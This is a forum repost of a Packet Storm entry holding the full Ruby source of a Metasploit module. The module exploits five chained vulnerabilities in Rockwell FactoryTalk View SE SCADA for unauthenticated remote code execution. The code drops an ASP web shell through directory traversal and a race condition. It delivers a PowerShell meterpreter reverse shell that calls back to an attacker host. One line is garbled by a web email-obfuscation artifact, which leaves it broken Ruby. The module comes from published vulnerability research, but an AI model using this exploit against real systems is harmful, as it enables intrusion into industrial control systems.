Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution

#184
Topic created · 1 Posts · 1 Views
  • This Metasploit module exploits a series of vulnerabilities to achieve unauthenticated remote code execution on the Rockwell FactoryTalk View SE SCADA product as the IIS user. The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request, the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all targets, two information leak vulnerabilities are also abused. This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski)
    in Pwn2Own Miami 2020 to win the EWS category.
    MD5 | 9e09355c37bbe36767252355895d406c
    Download

    ##  
    # This module requires Metasploit: https://metasploit.com/download  
    # Current source: https://github.com/rapid7/metasploit-framework  
    ##  
    class MetasploitModule < Msf::Exploit::Remote  
    Rank = ExcellentRanking  
    include Msf::Exploit::Powershell  
    include Msf::Exploit::Remote::HttpServer  
    include Msf::Exploit::Remote::HttpClient  
    def initialize(info = {})  
    super(  
    update_info(  
    info,  
    'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution',  
    'Description' => %q{  
    This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution  
    on the Rockwell FactoryTalk View SE SCADA product as the IIS user.  
    The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request,  
    the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all  
    targets, two information leak vulnerabilities are also abused.  
    This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category.  
    },  
    'License' => MSF_LICENSE,  
    'Author' =>  
    [  
    'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module  
    'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module  
    ],  
    'References' =>  
    [  
    [ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'],  
    [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'],  
    [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'],  
    [ 'CVE', '2020-12027'],  
    [ 'CVE', '2020-12028'],  
    [ 'CVE', '2020-12029'],  
    [ 'ZDI', '20-727'],  
    [ 'ZDI', '20-728'],  
    [ 'ZDI', '20-729'],  
    [ 'ZDI', '20-730'],  
    ],  
    'Privileged' => false,  
    'Platform' => 'win',  
    'Arch' => [ARCH_X86, ARCH_X64],  
    'Stance' => Msf::Exploit::Stance::Aggressive,  
    'Payload' => {  
    'DefaultOptions' =>  
    {  
    'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
    }  
    },  
    'DefaultOptions' => { 'WfsDelay' => 20 },  
    'Targets' =>  
    [  
    [ 'Rockwell Automation FactoryTalk SE', {} ]  
    ],  
    'DisclosureDate' => '2020-06-22',  
    'DefaultTarget' => 0  
    )  
    )  
    register_options(  
    [  
    Opt::RPORT(80),  
    OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),  
    OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]),  
    OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])  
    ]  
    )  
    register_advanced_options(  
    [  
    OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]),  
    ]  
    )  
    end  
    def send_to_factory(path)  
    send_request_cgi({  
    'uri' => normalize_uri(target_uri, path),  
    'method' => 'GET'  
    })  
    end  
    def check  
    res = send_to_factory('/hmi_isapi.dll')  
    return Exploit::CheckCode::Safe unless res && res.code == 200  
    # Parse version from response body  
    # Example: Version 11.00.00.230  
    version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.')  
    # Is returned version sound?  
    unless version.empty?  
    if version.length != 4  
    return Exploit::CheckCode::Detected  
    end  
    print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}")  
    if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230  
    # we know this exact version is vulnerable (11.00.00.230)  
    return Exploit::CheckCode::Appears  
    end  
    return Exploit::CheckCode::Detected  
    end  
    return Exploit::CheckCode::Unknown  
    end  
    def on_request_uri(cli, request)  
    if request.uri.include?(@shelly)  
    print_good("#{peer} - Target connected, sending payload")  
    psh = cmd_psh_payload(  
    payload.encoded,  
    payload.arch.first  
    # without comspec it seems to fail, so keep it this way  
    # remove_comspec: true  
    )  
    # add double quotes for classic ASP escaping  
    psh.gsub!('"', '""')  
    # NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell  
    # This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore...  
    # If this module is not working on an older Windows version, try the below as payload:  
    # payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe)  
    payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>}  
    send_response(cli, payload)  
    # payload file is deleted automatically by the server once we win the race!  
    elsif request.uri.include?(@proj_name)  
    # Directory traversal: vulnerable asp file will land in the path we provide  
    print_good("#{peer} - Target connected, sending file path with dir traversal")  
    # Check the comments in the Infoleak 2 (project installation path) to understand why  
    filename = "../SE/HMI Projects/#{@shelly}"  
    send_response(cli, filename)  
    end  
    end  
    def exploit  
    # Infoleak 1 (project listing)  
    print_status("#{peer} - Listing projects on the server")  
    res = send_to_factory('/hmi_isapi.dll?GetHMIProjects')  
    fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless  
    res && res.code == 200 && res.body.include?('HMIProject')  
    print_status("#{peer} - Received list of projects from the server")  
    @proj_name = nil  
    proj_path = ''  
    xml = res.get_xml_document  
    # Parse XML project list and check each project for installation project path  
    xml.search('HMIProject').each do |project|  
    # Infoleak 2 (project installation path)  
    # In the original exploit, we used this to calculate the directory traversal path, but  
    # Google says the path is the same for all versions since at least 2007.  
    # Let's still abuse it to check if the project is valid.  
    url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}"  
    res = send_to_factory(url)  
    proj_path = res.body.strip  
    # Check if response contains :\ that indicates a windows path  
    next unless proj_path.include?(':\\')  
    print_status("#{peer} - Found project path: #{proj_path}")  
    # We only need first hit so we can quit the project parsing once we get it  
    if project.attributes['Name']  
    @proj_name = project.attributes['Name']  
    break  
    end  
    end  
    if [[email protected]](/cdn-cgi/l/email-protection)_name  
    fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...')  
    end  
    shell_path = proj_path.sub(@proj_name, '').strip  
    print_good("#{peer} - Got a path to drop our shell: #{shell_path}")  
    # Start http server for project copy callback  
    http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s  
    print_status("#{peer} - Starting up our web service on #{http_service} ...")  
    start_service({ 'Uri' => {  
    'Proc' => proc do |cli, req|  
    on_request_uri(cli, req)  
    end,  
    # This path has to be capitalized as "RSViewSE" or else the exploit will fail!  
    'Path' => '/RSViewSE/'  
    } })  
    # Race Condition  
    # This is the racer thread. It will continuously access our asp file until it gets executed  
    print_status("#{peer} - Starting racer thread, let's win this race condition!")  
    @shelly = "#{rand_text_alpha(5..10)}.asp"  
    racer = Thread.new do  
    loop do  
    res = send_to_factory("/#{@shelly}")  
    if res.code == 200  
    print_good("#{peer} - We've won the race condition, shell incoming!")  
    break  
    end  
    end  
    end  
    # Project Copy Request: target will connect to us to obtain project information.  
    print_status("#{peer} - Initiating project copy request...")  
    url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1"  
    res = send_to_factory(url)  
    # wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish  
    count = 0  
    while count < datastore['SLEEP_RACER']  
    break if racer.status == false  
    sleep(1)  
    count += 1  
    end  
    racer.exit  
    end  
    end  
    

    Source: packetstormsecurity.com

Log in to reply